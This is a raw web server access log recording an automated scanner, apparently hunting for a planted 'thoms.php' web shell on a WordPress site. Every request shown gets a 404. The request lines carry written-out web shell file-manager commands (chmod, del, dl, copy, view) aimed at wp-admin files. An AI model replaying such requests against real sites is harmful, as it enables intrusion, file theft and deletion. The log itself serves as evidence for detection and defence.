45.135.193.11 - - [11/Sep/2026:23:52:40 -0400] "GET /ba-guo.com.tw/wp-admin/ms-admin.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:40 -0400] "GET /ba-guo.com.tw/wp-admin/ms-upgrade-network.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:40 -0400] "GET /thoms.php?chmod=admin-post.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=admin-post.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:40 -0400] "GET /thoms.php?chmod=freedoms.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=freedoms.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:40 -0400] "GET /thoms.php?chmod=plugins.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=plugins.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:40 -0400] "GET /thoms.php?chmod=widgets-form-blocks.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=widgets-form-blocks.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:40 -0400] "GET /thoms.php?del=freedoms.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=freedoms.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:40 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=edit-form-blocks.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=edit-form-blocks.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:41 -0400] "GET /ba-guo.com.tw/wp-admin/custom-header.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:41 -0400] "GET /thoms.php?dl=edit-tags.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=edit-tags.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:41 -0400] "GET /thoms.php?chmod=nav-menus.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=nav-menus.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:41 -0400] "GET /thoms.php?chmod=plugin-editor.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=plugin-editor.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:41 -0400] "GET /ba-guo.com.tw/wp-admin/network.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:41 -0400] "GET /thoms.php?chmod=customize.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=customize.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:41 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fedit-comments.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fedit-comments.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:41 -0400] "GET /thoms.php?chmod=install-helper.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=install-helper.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:41 -0400] "GET /ba-guo.com.tw/wp-admin/post.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:41 -0400] "GET /thoms.php?del=admin-footer.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=admin-footer.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:41 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Foptions.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Foptions.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:41 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=site-editor.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=site-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:41 -0400] "GET /ba-guo.com.tw/wp-admin/load-styles.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:41 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin%2Fnetwork HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin%2Fnetwork" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:41 -0400] "GET /ba-guo.com.tw/wp-admin/moderation.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:41 -0400] "GET /thoms.php?dl=import.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=import.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:41 -0400] "GET /ba-guo.com.tw/wp-admin/ms-sites.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:41 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fcontribute.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fcontribute.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:41 -0400] "GET /thoms.php?dl=custom-header.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=custom-header.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:41 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fnetwork.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fnetwork.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:42 -0400] "GET /thoms.php?dl=options-media.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=options-media.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:42 -0400] "GET /thoms.php?del=install-helper.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=install-helper.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:42 -0400] "GET /ba-guo.com.tw/wp-admin/ms-options.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:42 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=link-parse-opml.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=link-parse-opml.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:42 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin%2Fimages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin%2Fimages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:42 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fadmin-functions.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fadmin-functions.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:42 -0400] "GET /thoms.php?del=link-add.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=link-add.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:42 -0400] "GET /thoms.php?chmod=menu-header.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=menu-header.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:42 -0400] "GET /ba-guo.com.tw/wp-admin/js/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:42 -0400] "GET /ba-guo.com.tw/wp-admin/custom-background.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:42 -0400] "GET /thoms.php?del=options-permalink.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=options-permalink.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:42 -0400] "GET /thoms.php?dl=site-editor.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=site-editor.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:42 -0400] "GET /thoms.php?del=custom-background.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=custom-background.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:42 -0400] "GET /thoms.php?dl=custom-background.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=custom-background.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:42 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Flink-add.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Flink-add.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:42 -0400] "GET /thoms.php?dl=menu.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=menu.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:42 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=ms-delete-site.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=ms-delete-site.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:42 -0400] "GET /ba-guo.com.tw/wp-admin/ms-delete-site.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:42 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=options-reading.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=options-reading.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:42 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=about.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=about.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:43 -0400] "GET /thoms.php?dl=link-parse-opml.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=link-parse-opml.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:43 -0400] "GET /thoms.php?chmod=options-general.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=options-general.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:43 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fusers.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fusers.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:43 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fmenu.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fmenu.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:43 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=custom-background.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=custom-background.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:43 -0400] "GET /ba-guo.com.tw/wp-admin/ms-themes.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:43 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=options-privacy.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=options-privacy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:43 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=custom-header.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=custom-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:43 -0400] "GET /thoms.php?del=ms-options.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-options.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:43 -0400] "GET /ba-guo.com.tw/wp-admin/site-editor.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:43 -0400] "GET /thoms.php?dl=network.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=network.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:43 -0400] "GET /ba-guo.com.tw/wp-admin/network/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:43 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=options-head.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=options-head.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:43 -0400] "GET /ba-guo.com.tw/wp-admin/edit-link-form.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:43 -0400] "GET /thoms.php?chmod=upload.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=upload.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:43 -0400] "GET /ba-guo.com.tw/wp-admin/export-personal-data.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:43 -0400] "GET /thoms.php?chmod=ms-options.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-options.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:43 -0400] "GET /thoms.php?dl=site-health-info.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=site-health-info.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:43 -0400] "GET /thoms.php?chmod=update-core.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=update-core.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:43 -0400] "GET /ba-guo.com.tw/wp-admin/edit-tags.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:44 -0400] "GET /thoms.php?dl=media-new.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=media-new.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:44 -0400] "GET /thoms.php?dl=nav-menus.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=nav-menus.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:44 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=site-health-info.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=site-health-info.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:44 -0400] "GET /thoms.php?chmod=includes&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=includes&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:44 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fcustomize.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fcustomize.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:44 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=edit-comments.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=edit-comments.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
